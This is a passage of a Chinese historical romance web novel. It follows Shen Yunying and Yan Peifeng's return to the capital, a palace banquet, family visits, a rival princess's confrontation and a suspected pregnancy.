燕培风刚扶着沈云楹下车,忙一把扶住要行礼的燕伯,动容道:“燕伯,如今天冷,你也是有春秋的人了,怎么还在门口等。” 沈云楹则朝一边同样激动的杨嬷嬷谢道:“这三年劳累嬷嬷了,你们看顾府里辛苦。” “不敢当,不敢当,夫人,铮然居早就收拾妥当,一应摆设都没变。”杨嬷嬷又看向燕培风,“老爷,外头风大,您和夫人快些进去。” 沈云楹径直回到铮然居。 看惯了杭州的仿品铮然居,乍一看到正品,沈云楹反而有些不习惯了。这院子比杭州府邸宽敞,博古架上都是她喜欢的摆设,现在看总觉得少了些东西。 沈云楹当即吩咐,“银筝,找出那尊山水摆件,放到博古架中间的格子。” 银筝戏谑地看一眼沈云楹,道:“奴婢这就去。” 正中间摆着的可是沈云楹以前最喜欢的粉彩锦鲤戏莲瓷盘。八寸的浅口盘,盘心绘着碧水波纹,两尾红白锦鲤在欢闹嬉戏,水草摇曳。 沈云楹最喜用它装红彤彤的樱桃,戏言二者非常般配。 此时,燕培风打发走燕伯,问过府里和京城这大半个月的大事小事,进屋就发现沈云楹站在博古架前,指使着人换摆件。 燕培风就跟着出主意,放着橙皮合香的青铜小鼎香炉就放在顶层,左边是竹雕刘海戏胖金蟾笔山,右边依次是影青定窑瓷娃娃枕、紫檀木福禄寿佛手。 刚摆好,银屏就来问午膳吃什么。 沈云楹想到大冷天赶路将近一个月,就想吃点清淡滋补的,“萝卜炖羊排,鲜炒冬笋,再要一碗鸡汤细面,底下卧个鸡蛋。其他的就让厨房看着办。” 燕培风加了一道虾仁蛋羹和小半碗山药红枣小米粥给沈云楹,养胃补气血。 可惜,两人没口福,菜单子才送到厨房。燕伯就来报汪公公登门,皇上派了汪公公来公主府,叫燕培风夫妻进宫,说是坤宁宫摆了接风宴。 沈云楹和燕培风只得易服更裳,坐上马车进宫。 第100章 叙话 三年再次进宫, 沈云楹还有些恍然,在外面散漫自由惯了,置身等级森严的皇宫, 沈云楹不由挺直身板。 燕培风留意到沈云楹的不自在,稍稍靠近, 两边垂下来的衣袖交叠, 轻声道:“莫担忧。” 身前身后都太监宫女, 不宜多说话。燕培风低声嘱咐沈云楹一句,望着她的眼神从容稳重, 沈云楹微微弯起嘴角,示意她没事。 沈云楹脑子里开始同步京城的最新消息。京城的新鲜事一茬又一茬,沈云楹主要留意皇宫最贵重的一大家子。 第一件事便是太子的地位愈发稳固。一来,东宫嫡子平安长到三岁, 听说长得富态又聪明。另一则,皇上年纪渐大,自觉处理政事力有不逮, 时常让太子打下手。去年,皇上和皇后亲自去皇陵督查进度, 太子留下监国,文武百官对太子处理政事的能力交口称赞。 还有一个重要消息就是元宵后, 二皇子被封宁王,封地在晋地,不过于富庶但也不贫困。宁王府有多了两个子嗣,顾□□和钱侧妃双双诞下女儿,两个孩子相差半岁。 刚得知这消息那会儿沈云楹还在杭州,她整个人都愣了好一会儿。经过杭州的深入接触,沈云楹不认为顾□□会是委曲求全, 苦苦挽留丈夫的女子。 宁王宠爱钱侧妃,顾□□又有了李沐廷这个儿子,竟然还愿意和宁王生孩子。完全出乎沈云楹的意料。 正想着呢,坤宁宫里就传出一道爽朗的男声。 “燕培风还没到?他做什么都慢吞吞的,没准现在才进宫门,”说着,宁王站起身,“父皇,母后,儿臣去门口看看。” 帝后夫妻对小儿子比较宽容,点点头就让人出去了。 宁王还没行动呢,殿门口就传来通传声,“皇上,皇后娘娘,燕大人和燕夫人到了。” 宁王正要习惯性损两句燕培风,然而,皇上的嘴比他还快,激动道:“培风,你终于回来了!一走就是三年,遇到那么多危险,要不是任职时间到头,你是不是就乐不思蜀了?” 开始的激动开心,说到后面就有了两份抱怨。全然忘记当初就是他与燕培风商定外任的。 说起来,皇上这辈子最看重三个孩子,太子和宁王都待在京城,就是出去办差事,最多几个月就回来。唯独燕培风,外任几年对他更有好处。因此有了杭州的缺,皇上第一时间就想派燕培风过去。 燕培风短暂的远离京城,反而叫皇上比以前更惦念。 燕培风如归家的晚辈一般,在皇上皇后跟前行大礼,压着嗓音,“外甥拜见舅舅舅母。” 沈云楹跟着跪下,好在坤宁宫的宫女极有眼力,迅速拿来两个蒲团,大冷天里,两个人的膝盖不用碰上冰冷的地面。 燕培风抬头,“升任知府本就是舅舅开恩,我丝毫不敢懈怠,如今治下百姓能安居乐业,总算不负辛劳,更不枉舅舅您的重托。” 皇上眼神不住地打量外甥,嘴里却发出一声轻轻的哼。 皇后用手肘轻轻碰了皇上一下,满脸笑意地把沈云楹扶起来,又催促燕培风,“回来了就好,以后就能时常见面。” “你别理皇上,他这几天气不顺,看什么都横挑鼻子竖挑眼。” 燕培风心下莞尔,太子曾在信中说皇上年纪越大,性格越像小孩儿,简称老顽童。燕培风笑道:“舅舅,我给你们都带了些小玩意回来,两方黄石印颇有意趣。另有几样精致的玩器,很适合三四岁的孩子。” 燕培风的眼神看向太子,挑了挑眉头,素来帮忙。 太子憋笑,还是起身,“父皇,渊儿早盼着培风回来,对江南来的东西好奇得紧。”太子的嫡长子名李沐渊。 想起寄予厚望的孙儿,皇上的脸上就全是笑意,疼爱后辈的心又上来,“你啊,都说江南哪儿哪儿都好,我怎么瞧着你还瘦了呢?等会儿叫太医瞧瞧,别以为年轻就不重视。”说到这里,皇上暗暗咬牙,“我前段时间膝盖疼,太医就是说年轻时候落下的病根儿。” 燕培风不住点头,这时候做个听话的晚辈就行了。 而沈云楹这里,采取同样的策略。这个接风宴,皇宫最尊贵的三对夫妻都在,皇后没理会几个男人,径直拉着沈云楹做到身边,太子妃和宁王就坐在沈云楹对面。 夫人间的话题不管从哪儿开始寒暄,最后都会提到孩子。沈云楹笑着答了几个杭州的风物人情。皇后还记得小儿媳与大孙子遇袭的事,她拉着沈云楹的手感激道:“好孩子,多亏有你和培风在,不然沐廷不知要吃多少苦头。” 李沐廷是皇后亲孙子,前头几年李沐廷还是独孙,皇后就像平常人家的祖母一样,溺爱大孙子。 沈云楹并不居功,“我和夫君不过是凑巧,宁王妃聪慧果决,就算没有我们,皇孙也会化险为夷。” “听说最先是蒋家施粥做善事,才带几个小孩子回府养着,”太子妃温柔笑道:“可见蒋家心善,沐廷得上天庇佑。” 顾□□点点头,为蒋家说话,“蒋家家风清正,廷儿说,对他们那些孩子极好。云楹在不知道他身份的时候就想让他们读书习字。” “我记得翰林院有个蒋榜眼?”皇后的声音带着好奇,望着沈云楹,“是你外祖蒋家的孩子吧?” 沈云楹颔首,“正是大表兄。”心里暗想,蒋高鑫这么有名?连皇后都记住他。可是她没听说蒋高鑫有什么大动作啊,刚金榜题名的时候有点名声,后来就渐渐沉寂下来。 人在翰林院待着编书呢。同是入翰林院,当时燕培风隔三差五就去文德殿、勤政殿当班,蒋高鑫就被分配一堆修史的边角料工作。 沈云楹用余光留意皇后的神色,见她笑得端庄,根本看不出。 幸好下一刻就有人解惑了。 顾□□直言,“蒋家人少,是非也少。蒋大人又独身住在京城,”她微微看向沈云楹,“沈三夫人是蒋大人最亲近的长辈了吧?想来婚配之事也能说话。” 沈云楹一惊,杏眸瞪大盯着顾□□,婚配? 蒋高鑫刚考中那年,本要在京城择一人家成亲,谁知出了变故,没成。蒋高鑫的亲事现在还没着落。 她看看顾□□,又看看皇后,忽然想起五公主的年龄,今年十七了。到了说亲的年纪。 难怪皇后会留意到翰林院的小编修了。 沈云楹可不想给蒋文笙增添负担,面色犹豫,低声说:“我母亲是寡妇,不好掺和喜事。”红事白事不好冲撞。 顾□□一愣,她忽略了这一层,顿时不好意思地看看皇后又看看沈云楹。 太子妃忙解围,“母后有意,托云楹传句话,叫蒋夫人进京看看就是了。”两家要议亲,怎么也得看看婆婆。 “不急,慢慢看着吧,横竖小五还要多留几年,我与皇上商议好了,小五留到二十再出嫁。”这里没有外人,皇后说话随意些,她还想留女儿在身边多陪几年。 沈云楹心间发软,当初蒋文笙也想晚几年咱家闺女,可惜皇家不允许。 “朝廷青年才俊多,舅母怕要挑花眼了。”沈云楹笑道。 说了几句五公主议亲的事,这边刚安静下来,宁王拔高的声音就响彻坤宁宫,“燕培风,喝酒!” 看宁王的样子,乍一看还真不像感谢。 顾□□冷冷地瞥一眼过去,宁王心头一跳,忙挺起腰杆,“这杯酒谢你救过我儿子。” 沈云楹朝底下一看,燕培风、宁王和太子站在一处,不知说了什么,燕培风温和如竹,太子端方微笑,宁王面色有点红,像是喝多,又像是生气。 “咱们都是一家人,沐廷也喊培风一声表叔。岂有不救的道理?”太子在中间协调,又问宁王,“今儿怎么不带沐廷来?” 李沐廷过完年就七岁,可以带着出来交际。这次又是家宴,没外人,应该带孩子进宫。 宁王叹口气,他最近后院起火,本来有两个娇滴滴的闺女他正高兴,谁知钱侧妃处处不肯让女儿的待遇比姐姐低,又不是所有东西都有一模一样的,一来二去闹将起来。王妃带了李沐廷去城外庄子,正避着他呢。宁王感觉养孩子真累。 “他要读书了,今儿功课重。”宁王瞎掰了个接口。 太子和燕培风对视一眼,懒得拆穿他。 叙话毕,接风宴才正式开席。端上来的菜还冒着热气,宫里吃饭的规矩,食不言寝不语,安安静静用完膳,终于能出宫。 路上,正好与宁王、顾□□同行。 沈云楹身心轻松地走在宫道上,一个侧头,忽然发现顾□□似乎有话要说?朝她这边看了好几眼。 沈云楹留了个心眼,出宫门,临上马车前,吩咐银屏以送礼的名义去问候宁王妃。 “怎么突然派人过去?”燕培风很清楚送礼是借口。 沈云楹摇头,“感觉刚刚宁王妃有话想跟我说,”她双手捧着热茶,歪歪头笑道:“也可能是我想多了。” 燕培风嗯一声,“等人回来就知道了。”《 》 第101章【VIP】 第101章 圆融 等了一会儿, 银屏很快就从宁王府那边带回来消息,她钻进马车,“夫人, 宁王妃说您心真细,她的确有事想要拜托您办。” “宁王府大公子要正经读书了, 想托您帮忙问问有没有合适的先生?” 沈云楹不禁皱起眉, “问我?宁王府还缺一个好先生吗?” 坐在旁边的燕培风开口, “如今宫里没有皇子进学,弘文馆撤销六七年了。恭王和舒王的儿子都是聘请先生到王府教书。” 恭王和舒王分别是三皇子和四皇子, 这两位王爷早早就有了庶子,已经十一二岁。 沈云楹一听便明白,顾□□不想让李沐廷显得特殊。顾家没有清流的人脉,这才找上她。沈云楹扭头去看燕培风, “你有没有合适的人选?” 当李沐廷的老师,这个位置仔细选人。 马车外寒风刮过,宫门前的雪被扫得干干净净, 宁王府的车队轱辘轱辘往前,燕培风却答非所问, “李沐廷七岁,到请封世子的年龄了。” “嗯?”沈云楹在宫里运转脑袋过度, 这会儿不想用了,直接问:“那你推荐人去不?” 轻柔的嗓音带着浓浓的倦意,燕培风一把揽过她的肩膀,给她支撑,“我仔细挑一挑。” 得知燕培风应下这事,沈云楹就省事了,不然她得去找蒋高鑫帮忙。沈云楹歪头靠着燕培风的肩膀, “对了,刚刚在坤宁宫,皇后说要为五公主择婿。大表兄就在人选里,还问了我一些大表兄的事。” “明儿大表兄应该会去沈家,我们给他提前露个口风?再写一封信给大舅母?”要是有意当驸马,现在就应该准备起来。比如现在蒋高鑫身边没有妾室通房,得继续保持这个习惯。 若是不想要,就早些定下亲事。 燕培风觉得这是个好机会,“如今又没有驸马不能参政的弊端。五公主是皇后之女,与太子一母同胞。京中想当驸马的人可不少。” 沈云楹点点头,她送个消息过去,至于怎么做,全看蒋高鑫自己抉择。 “这次皇上属意我去刑部,任右侍郎。”燕培风提前告知沈云楹。 沈云楹为他高兴,欣喜道:“恭贺你升官。” 自古京官矮半截,外地回京能平调暗地里就是升了半阶。刑部右侍郎是正三品,燕培风可是妥妥升了两阶。 “朝廷律例你背得滚瓜烂熟,刑部不正适合你?”沈云楹杏眸清澈灵动,想起有一次围观燕培风审案,他威严赫赫坐在明镜高悬牌匾之下,直接指出讼师的错漏之处,对围观百姓背了涉案那段律例条文,令人折服。 燕培风自得沈云楹两眼亮晶晶地望着他,含笑不语。 倒是沈云楹忽然想起,“那知府的位置?” “孔仰之高升了,任职文书在去江南的船上。”燕培风笑道,握住沈云楹的柔夷轻轻揉捏几下,“你留下的升迁礼派上用场了。” 燕培风很高兴,他们政见相和,孔仰之担任知府,范广侑的私塾之事还能得到官府的大力支持,等再过三年,整个杭州府的人都习惯乡间私塾,下一个知府继任者就不会轻易打破这个规矩。 在离开杭州前,燕培风说孔仰之的机会很大,她对孔仰之印象也好,觉得回京再送礼折腾人又慢,直接留了一份升迁礼,一得知消息便能及时送去。 马车晃晃悠悠的,今儿又奔波,鼻尖闻着熟悉的松墨香,沈云楹只觉眼皮重如千斤,彻底歪向燕培风的怀里,露出一侧白皙修长的脖颈。 燕培风低头就看到她轻盈的睫羽疲倦地上下拂动,缓缓停住,他的手指小心翼翼地触碰一下长而微翘的睫毛,觉得它长在沈云楹眼睛上正正好。 等沈云楹睁眼的时候,外面天都黑了,她望向窗外,正在飘着小雪。 银屏就守在外边,听到动静立即进屋,“夫人,您醒了?喝杯热茶。”手里端着粉梅斗彩盖碗。 沈云楹接过就喝,茶水温热入口暖呼呼的,喉咙好受多了,就问:“到什么时辰了?” “时候了。” 沈云楹又问:“培风呢?” “老爷在前院书房呢,已经见过几波人了。这会儿不知是谁在。”这次回答的是银筝,她今儿光是记住人名都花了不少时间。 好好睡过一觉,此时沈云楹精神饱满,利落起身穿衣,想去外头看看公主府的雪景。身后的银屏忽然叫住她,“夫人,白日在宫门口,老爷也在马车里,奴婢没提另一件事。” 沈云楹惊讶转头。 银屏接着道:“宁王妃还说了另一件事。宁王妃每月都进宫给皇后请安,她说明珠郡主时常去坤宁宫请安,现下她已经和离了,而且有多次在皇后面前说起您与老爷成婚多年无子。” “依奴婢看,明珠郡主贼心不死。”银屏气道。 沈云楹目瞪口呆,“明珠郡主?”她想起明珠郡主两次在她面前说想要嫁给燕培风,原以为明珠郡主成亲就好了。没想到人家和离后,依然不改初心。 她在脑海里勾勒出燕培风的身影,深眉琼鼻,身量颀长,岩岩清峙。沈云楹眯起眼睛,不管是她还是明珠郡主,都不可能做妾室。沈云楹与燕培风的婚事乃是皇上赐婚,这才几年,皇上不可能自打嘴巴降旨和离。 沈云楹却难得反省了一下,今后又要长居京城,她是不是该想法子发展一下宫里的眼线,尤其是打通坤宁宫的人脉,打听消息才方便。 沈云楹认真思索了一下这事儿,没有千日防贼的,如今她与燕培风两情相悦,日子过得和和美美,燕培风招来的桃花,自然要交由他解决。 “下次这种事,不用避开培风。”沈云楹叮嘱银屏一句。 银屏一愣,然后应声好,和银筝一左一右陪着沈云楹出去散步赏景。 —— 翌日大朝会,果然落定燕培风的官职,刑部右侍郎,成为朝堂上最年轻的三品官员。 因为口谕说了,燕培风外放知府三年,漕运账目清晰,税款充足,监察盐税有功,特准你升刑部右侍郎。这两年盐税的上涨有目共睹,先前燕培风不在京城,后面又有太子接手,众朝臣这才记起,最先揭开盐税口子的人,是燕培风。 燕培风身上有大功劳,外任考评又是上等,朝会上无人提出异议。 三品是一个标志,燕培风真正凭借官职进入朝堂的核心。 仗着还在休假,燕培风上午升官,下午就陪沈云楹一起去沈家拜访。 沈家此时正是欢喜的时候,昨日两位小爷去江南求学终于归家,今日三位嫁出去的姑奶奶都回娘家。 沈础筠和沈础鹤要参加二月的春闱,本不应该待客。可是上门的两位姑爷,三姑爷燕培风是状元,大姑爷温旭晏是二甲十三名,多交流一番才好。 于是,沈云楹和燕培风刚在慈晖院给沈太师和沈老夫人请安,燕培风就被沈太师带去前院说话。 沈云楹心里暗惊,沈太师致仕一年多,头发大半已然花白,比以前老了许多。沈老夫人也一样,脸上的沟壑愈发明显,就算是笑,也没有慈祥的感觉。 “我有些乏了,你们三姐妹难得聚齐,多在一块儿说说话。”沈老夫人在后院的权威随着沈太师的致仕缩小,现在三个孙女儿都嫁出去了。 虽然没有一个是按照她的心意出嫁的。好歹是沈家的血脉,沈家与燕家、文家、永安侯府结成姻亲,互相扶持,沈老夫人勉强满意,但和三个孙女都有隔阂,就没心思跟她们说话。 沈云楹、沈云蔓和沈云芝一起到慈晖院边上的桃花亭。二月依然挂着寒风,桃树萧索,枯树也被花匠侍弄出几分雅致。 三位姑奶奶要在亭里小坐,底下人纷纷送来炭火和茶果点心。 沈云楹再次扫一眼两位堂姐,确认自己没看错,她们的神情是真的从容和煦,看她像是妹妹。 “三妹妹久不回京,等你安顿好了,我们好好说说京城里的新鲜事。”沈云芝率先开口,还为两位妹妹倒茶,颇有长姐风范。 沈云蔓摸摸自己鼓起来的肚子,笑道:“再过些时候,我的肚子就大了,不方便出门,大姐姐和三妹妹不如来永安侯府做客。”看向沈云芝,“大姐姐记得带你们家大姑娘来,我就一个女儿,在家就念叨想要姐姐妹妹一块儿玩呢。” 沈云芝的姻缘到底落在温家,还是温家宗妇。当时沈老夫人和大夫人温氏都有意将沈云芝嫁回娘家。温家还好,温家公子只是不喜读书,专好金石玩物,好歹是雅事。李家的就不行了,沈老夫人的娘家公子,是个纨绔子弟,时常出入青楼,还为她们写诗作画,有些才名。 两位僵持不下,可巧这时候,温家温旭晏的妻子生二胎的时候血崩,儿子是生下来了,她人却没能熬过去。前头是个女孩儿,如今五岁。温家空出一个宗妇的位置,虽是继室,可是儿子刚出生,能养熟。 这下,沈老夫人没了异议。婚事很快定下,等一年妻孝之后,沈云芝嫁入温家。 温家大姑娘便是沈云芝的继女。 沈云芝笑着点头,“她们两个小姑娘十分投缘,今儿要不是雅儿身子不适,我就带她回来了。” 沈云楹看看她们两个和和气气的说话,变得圆融和善,仿佛曾经的闺中争锋是梦中事。 见沈云楹不说话,沈云蔓抚摸腹部的动作又轻又缓,“大姐姐新婚不久,三妹妹,你成亲比我还早,怎的还没有子嗣?若是有什么不好的,得尽快找大夫看看才好。”《 》 第102章【VIP】 第102章 猜测 沈云楹很快回神, 微微一笑,“二姐姐,府医隔三差五来瞧, 我们身体无恙,缘分未到而已。” 沈云楹心里叹气, 果然回京之后就得应对一堆人的催生。昨日皇后也委婉暗示了一下, 现在回沈家, 沈老夫人提过两句,到沈云蔓这里就明晃晃地问是不是身体不行了。 沈云芝对沈云楹本就没什么恶意, 如今各自婚嫁,到了温家应付婆婆妯娌小姑子,反而更怀念自家的姐妹。 “你自己不生,外人不就有了可乘之机?”沈云芝低声问, 一时没留意沈云蔓向下的撇嘴。 沈云楹看得清楚。她也知道原因,有孕了更是别人插足的好时机。二姐夫章兴宇和沈云蔓感情挺好,但是在沈云蔓两次有孕时皆纳妾, 如今有姨娘两个,没名分的通房两个。 沈云芝还在说, “你刚成亲那会儿处境就不太好,去了外任才好些。更应该给自己多一份保障才是。” 话语间是真心为沈云楹好。 除了私奔事件, 沈云芝一向聪慧,自家兄长沈础筠在江南书院颇受蒋家照顾,三婶和沈云楹一定也有出力。如今沈础筠就要下场,祖父和父亲考过他的学问,都说如无意外应该能上榜,主要看名次高低了。 沈云芝自然感激沈云楹。在她印象里,这位妹妹没什么心机, 得提醒沈云楹一下。 沈云楹笑笑,不想再无谓争辩,点头道:“大姐姐说的是。” “哼,你别敷衍人。”沈云蔓轻哼一声,别以为她不知道,沈云楹从小到大对她们的话都是左耳进右耳出。 沈云楹看着她嫣然一笑,“二姐姐,你这肚子快五个月了吧?前些日子听说你吐得厉害,我和母亲专从南边带了蜜橘干和四果干,你拿回去尝尝。” 沈云蔓扬起慈爱的笑容,“五个月了。”顿了顿,又说:“太医诊过脉,这次是男孩儿。若不是听说咱们家摆家宴,我婆婆都不让出门,她管得厉害。” 这就是永安侯府的坏处了,一个严苛又疼爱儿子的婆婆。婆婆还怪她不勉励夫君上进,对此,沈云蔓差点想翻白眼,章兴宇是什么性子,永安侯夫人不知道吗?章兴宇根本就没有科考的心。 这些婆家的委屈,沈云蔓对着两个只有表面情分的姐妹是不会吐露的。 沈云芝顺口附和两句应付婆婆的招式,很快又说起儿女事。 然后,沈云楹就发现,自己明明是最先成亲的,结果竟然插不进去两位姐姐的话茬。怪不得她们能缓和关系,没少在一起聊天啊。 她就一边吃着茶果糕点,偶尔开口说两句,气氛还挺和乐。 沈云楹有些感慨,这是她们三姐妹第一次这么心平气和的坐在一块儿聊天。 到了静远斋,沈云楹就跟蒋文笙道:“真没想到,我们姐妹会有这么一天。” 蒋文笙笑道:“这有什么?你们三姐妹最大的矛盾不就是争衣裳抢首饰,”见沈云楹要反驳,改口道:“她们两个,我闺女一向省心。” “还有揽月阁那件事呢!”沈云楹小声提醒。 “如今也算有好结果。王娴君头一年时常拜访大嫂二嫂,后来随夫外任知县,和沈家一直保持联系。王家靠不住,沈家就是她的依靠,也是杨凯方的。”蒋文笙说出沈云楹不知道的事。 沈云楹点点头,以后两位堂姐能好好相处也是件好事。能舒坦过日子,谁想整日斗得眼红脖子粗? 沈家平顺,蒋文笙才能过得好。 “咦?祖母把这套首饰送给娘了?”沈云楹盯着案桌上的一套累丝镶宝赤金首饰,是沈老夫人年轻时候戴过的。 蒋文笙给沈云楹推过去,“说江南书院会教学生,我照顾侄子有功。珠光宝气的,不适合我,你等下就带走吧。” 蒋文笙是时下钟爱的清瘦雅致美人,加之守寡多年,愈发喜爱素雅的首饰。这套金光闪闪的头面,她觉得更适合闺女。 沈云楹不跟蒋文笙客气,回头她多打几套,更符合蒋文笙的心意。 “对了,娘,我昨日进宫听说了一件事。”沈云楹便把皇后正在相看驸马,蒋高鑫在名单之内的事说了。 闻言,蒋文笙却收敛笑意,“这可不好。你还不知道,高鑫已有了心上人,就等着半年后上门提亲呢。” “为什么要等半年?”沈云楹好奇,“那这次大舅母为何不一起进京?”大儿子婚事有着落,大舅母恨不得立刻进京看看吧? 蒋文笙叹口气,“高鑫在国子监与左都御史家的文小公子相识,偶尔会去文家做客。文家大姑娘,原本有一门亲事,可惜没成亲,男方便得急症去了。她便守三年。” “大哥那边,凡事亲力亲为,过年就病倒了。大嫂自然脱不开身。” “高鑫还托我有空与文家走动一二,他在京城只有我一位长辈,文家人也想见见我。”蒋文笙想了想,“下个月观音诞,可能会在相国寺跟文家女眷见见面。” 沈云楹哦一声,她尊重蒋高鑫的选择,“那我抽空进宫跟皇后通个气,就说两家私下有了默契?” 蒋文笙颔首,“也好,省的节外生枝。” 沈家欢欢喜喜摆家宴,夕阳余晖洒落屋檐,沈云楹与燕培风回公主府。 燕培风的假期十分短暂,就半天,第二天就穿着紫色的孔雀纹官服,去刑部报道。沈云楹则梳理一下公主府的事务。 二月二十五,会试开始。沈家有两位公子参加会试,沈云楹应景地送去好意头的文房四宝,祝愿两位堂兄高中。 三月放榜,果然有好消息,沈础筠高中二甲三十名,沈础鹤五十一名,名次中等,成为了贡士。只要殿试顺利,就是妥妥的二甲进士。 燕培风近日沉迷刑部的卷宗,沈云楹还挺有兴趣,这一个多月都在书房陪着他分析卷宗上的案件。 放榜这日,燕培风被留在宫中商议政事,沈云楹得知他不在衙门,就自己先行去沈家祝贺,顺便探望蒋文笙。 沈家再次热闹起来,一门两贡士还是同科考中,是京城的头一份了。 沈云楹回来时,沈云芝和沈云蔓比她还早一步,已经在后院招待登门的女眷。沈云楹便站在她们身边搭把手。 等回到静远斋已经是一个时辰之后的事情,蒋文笙正好说起蒋高鑫与左都御史文家的亲事,“文家姑娘温婉可人,文夫人也是一团和气,这门亲事极好。” 蒋高鑫好了,蒋宜也欣慰。 沈云楹嗯嗯点头,捻起一块白里透粉的杏花糕吃,一块又一块,嘴里就没停过。 蒋文笙微微蹙眉,“闺女啊,你今儿没吃饭?” 沈云楹喝口热茶,“用过午膳才来的,”笑着歪在蒋文笙身上,“这不是您这儿的小厨房手艺太好了嘛?我没忍住多吃了几口。” 蒋文笙招手让人撤下去,“马上就用晚膳,你还吃这么多作甚?”又盯着沈云楹仔细瞧,“果然胖了些。” 沈云楹才不在意,她身形丰腴,在沈家一干女子中,算是胖的。这天生的面如满月,体态丰盈,沈云楹改不了,也不想改,口腹之欲更是不能委屈。 “晚膳做那道青梅渍藕片吧?娘,这时候青梅刚冒出来,还没熟,但可以入菜了。”沈云楹就想吃点酸酸甜甜的。 “还想吃什么?叫银屏去一趟大厨房,你想吃什么就去说一声。慈晖院摆不下,就单送来静远斋。” 沈云楹在沈家吃得心满意足,尽兴而归。 路上路过饴芳轩,沈云楹想起它家的点心,“停车,我们去买两份蜜煎茉莉酥。” 银屏皱起眉,沈云楹刚刚才吃饱呢,但还是顺着沈云楹的心意进去。 谁料,她们前脚刚进去,后脚明珠郡主便跟了进来。 “沈云楹。” 明珠郡主披着银红刻丝灰鼠皮披风,沉着脸站在沈云楹身后,声音都带着怨气。 沈云楹转过身,客气道:“明珠郡主。郡主喜欢,便先挑吧。” 说着,沈云楹侧开身体,让明珠郡主先选糕点。沈云楹不在意先后顺序,懒得和明珠郡主争辩,无聊又无效,不如回府喂鱼。 明珠郡主特意来堵沈云楹,又不是真的来买糕点,她满目不忿,居高临下命令:“我有话问你。” 见她申请坚决,沈云楹不想被众人围观,环顾四周后道:“那就去楼上雅间?” 明珠郡主不答,只抬脚上楼。 沈云楹正要跟上去,银屏和银筝却担心,早知道该拉着红叶出门的! 雅间燃着淡淡的玉兰香,饴芳轩推出的新式糕点,炸玉兰片糕。沈云楹在楼下就闻见清甜的香气,待会儿打算买些回府。 沈云楹进来便自顾自坐下,倒茶,等着明珠郡主的下文。 明珠郡主冷眼看着,她暗暗评估,除了美貌,她真没看出沈云楹哪里比她出色。凭什么败在沈云楹身上? 金枝玉叶的高贵出身让她生性高傲。 此时沈云楹淡定自如,毫不畏惧的模样,让明珠郡主更加堵心。她眼眸轻转,开口道:“我三岁时进宫,就看到了在燕培风。你不知道,他小时候有多俊俏,端端正正的,就像从书里走出来的小公子。” 沈云楹挑眉,这是什么走向? “他住在桃林边的阁楼,整日读书,皇上和皇后便鼓励我去找他玩儿。” 明珠郡主叙述的时候仿佛响起当时的情景,脸上全是怀念之色,然而下一刻,她就冷笑一声,“果然,燕培风从小到大都那么无情。” 当时她讲笑话、卖可怜,使尽浑身解数,燕培风不见怒色,却冰冷冷地拒绝她,还让她离远点,不要耽误他做功课。 明珠郡主后来又去了两次,次次见不到人。后来,皇后就没再放她去桃林找人。可偏偏就是这样,越是不让她得到,她越想要。 “我从小要风得风要雨得雨,就在燕培风这里栽了跟头。我咽不下这口气。” 沈云楹认真观察明珠郡主的脸色,燕培风既然说他与明珠郡主私下没见过几面,那么自然也没有深情厚谊。 沈云楹叹口气,“所以你放不下的不是燕培风,是你的傲气。” 闻言,明珠郡主眼神一震,复杂地看了一眼沈云楹,脸色更加难看了。她想表示自己与燕培风青梅竹马,可沈云楹不吃醋,反而说了这么一句话。 明珠郡主不愿在沈云楹面前示弱,她就是心有不甘,皇伯父、父王口中都说疼爱她,可是都是虚的,偏偏女子最重要的婚嫁之事,不肯让她如愿。她就是想来瞧瞧,沈云楹哪里好? 燕培风亲自去找诚王说话,话里话外都是早些把明珠郡主再嫁,别打燕家的算盘。否则,城王府的小辫子一抓一大把。 诚王身为长辈,被一个小辈这么堵上门,心中恼怒可想而知。但他还有理智,知道明珠郡主在燕培风的事上多有偏执。思来想去,连成亲都收不回明珠郡主的性子,还是把她送出京吧。 于是明珠郡主怒上心头,气冲冲来找沈云楹。可是路上得知沈云楹回沈家祝贺两位堂兄高中,她压着气没有去沈家闹,只在门口等,等着等着反倒冷静了些。 “你竟然可怜我?!”明珠郡主气红了脸,蹭的站起来,双手拍桌。 沈云楹承认有点,她见过沈云芝为爱情,和那位举人奔逃,最后那举人没担当,沈云芝本来能有更好的婚姻和前程。她在心里为沈云芝唏嘘。 此时,明珠郡主也为她的爱情,付出了代价。 被明珠郡主一吼,沈云楹迅速回神,她与明珠郡主立场相对啊!想想明珠郡主曾经做过的事,掌掴王老尚书的孙女毫不留情,欺负过的京城姑娘两只手都数不过来。 明珠郡主与沈云芝不一样。 沈云楹淡淡微笑,“没有,郡主误会了。” 沈云楹都做好准备跟明珠郡主周旋,谁知,明珠郡主却扭头就走,脚步快得都能看到残影。 银屏银筝从门外匆匆进来,不解道:“夫人?” 沈云楹同样两眼茫然,“我也不知道啊。” 这事儿就这么糊里糊涂的结束。因为第二日,明珠郡主奉父命去祭拜生母,离开了京城。 此时的沈云楹懒得纠结明珠郡主的做法,在饴芳轩挑选六样新糕点,高高兴兴地回公主府。 铮然居。 沈云楹让银筝摆盘,想尝尝炸玉兰片糕。 “夫人,要不等到明日吧?这阵子你胃口是不是变大了?”银屏犹豫着开口,“要不让王大夫来诊诊脉?” “每月初一诊脉,今儿是二十三,没过多久啊。夫人的身体怎么可能不好?”银筝反驳道,她留心着呢。 沈云楹秀眉微蹙,她仔细回想一下,这半个月,胃口的确很好,总是想吃东西。难道子嗣缘分到了?可想想才结束的月事,沈云楹又否定自己的猜测。 “要不,找王大夫来瞧瞧?”沈云楹有些不确定,又有些期待。 银屏抿嘴笑,立即跑出去,“奴婢马上去。”《 》 第103章【大结局】 第103章 大结局 燕培风回到院门外, 正碰见银屏领着王大夫过来,他目光一沉,盯着忐忑的银屏, “夫人病了?” 银屏迟钝片刻,没有及时回话。有孕只是猜测, 还未证实, 哪里敢说出来?可要是说沈云楹病了, 那就是在咒她。 燕培风拧紧眉头,心下恼怒银屏愚笨, 大跨步往屋里走。绕过朦胧的烟色落花流水罗屏风,沈云楹只身站在窗前,拨弄青绿盆里的小花苗。 燕培风握住她的手,揽着她转过身, 仔细观察她的脸色,见沈云楹脸色红润,杏眸水润明亮, 心里稍稍放心,“你哪儿不舒服, 怎么要请王大夫?” 沈云楹鼻子一皱,“你回来早了。”要是闹乌龙, 有些不好意思。不过,燕培风既然碰见了,沈云楹便将自己的怀疑道出。 “啊?”燕培风难得脑子嗡嗡旋转,心里又惊又喜,情不自禁伸手去触摸依然平坦的腹部,“你近日是吃得多了些,我还以为是刚回京, 你馋京城风味。”他就没放心上,下衙之后还帮着去各大酒楼打包招牌菜。 “你真的没有不舒服?” 他立即扭头朝外面喊,“王大夫,你快来把个脉。” 